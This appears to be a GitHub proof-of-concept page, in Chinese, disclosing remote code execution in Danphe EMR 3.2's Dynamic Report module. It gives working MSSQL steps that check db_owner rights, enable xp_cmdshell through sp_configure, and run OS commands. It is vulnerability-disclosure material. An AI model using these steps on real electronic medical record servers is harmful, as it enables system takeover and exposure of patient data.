Jeydori/Danphe3.2-RCE-via-Dynamic-Report-module-PoC

GitHub: Jeydori/Danphe3.2-RCE-via-Dynamic-Report-module-PoC

Danphe EMR 3.2 动态报告模块远程代码执行漏洞验证工具

Stars: 0 | Forks: 0

# Danphe3.2-RCE 通过动态报告模块-PoC image **基本严重性**:严重
**CVSS 4.0 分数**:9.4
**CVSS 向量**:CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H 在 **Danphe EMR 3.2** 的 **动态报告** 功能中发现了远程代码执行(RCE)漏洞。该功能允许经过身份验证的用户直接针对后端数据库提交和执行任意 Microsoft SQL Server 查询。在测试过程中,确认用户提供的查询以与 **dbo** 角色等效的权限执行,提供了对数据库对象和数据库管理功能的无限制访问。应用程序没有充分限制或验证可以通过此功能执行的查询,暴露了底层数据库服务器面临重大风险。 由于分配给数据库账户的权限过高,经过身份验证的攻击者可以利用原生 MSSQL 功能在底层主机上执行操作系统命令,从而导致远程代码执行。在测试中展示了任意 MSSQL 语句的成功执行,确认了具有访问动态报告模块的攻击者可以完全控制数据库环境,并可能危害底层服务器。根据服务器配置,利用可能导致对敏感患者和组织数据的未授权访问、权限提升、网络横向移动、服务中断和完全的系统危害。 ## 演示 1. 使用有效的用户账户登录应用程序,并导航到 **动态报告** 模块。确定后端数据库管理系统使用的是什么(在我们的案例中是 **Microsoft SQL Server (MSSQL)**)。 danphe-sqli6 2. 通过执行以下查询确定是否启用了用于操作系统命令执行的 MSSQL 功能: SELECT name, value, value_in_use FROM sys.configurations WHERE name IN ('show advanced options', 'xp_cmdshell'); danphe-sqli4 3. 如果 `xp_cmdshell` 被禁用,验证应用程序数据库账户分配的权限: SELECT IS_MEMBER('db_owner') AS IsDbOwner; danphe-sqli5 4. 发现应用程序的数据库账户具有 **db_owner/dbo等效权限**,允许执行数据库管理操作。 5. 使用过高的数据库权限,启用 `高级 MSSQL 选项` 和 `xp_cmdshell`: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; 6. 重新运行步骤 2 中的查询,以确认已成功启用 **show advanced options** 和 **xp_cmdshell**。 danphe-sqli3 7. 启用后,可以通过以下有效载荷通过 MSSQL 执行任意操作系统命令: EXEC xp_cmdshell 'whoami'; danphe-sqli2 ```sql EXEC xp_cmdshell 'wmic logicaldisk get caption, VolumeName, Size, FreeSpace'; ``` danphe-sqli1 8. 命令的成功执行确认了具有访问动态报告功能的经过身份验证的用户可以利用应用程序过高的数据库权限在底层服务器上实现远程代码执行。
标签:多线程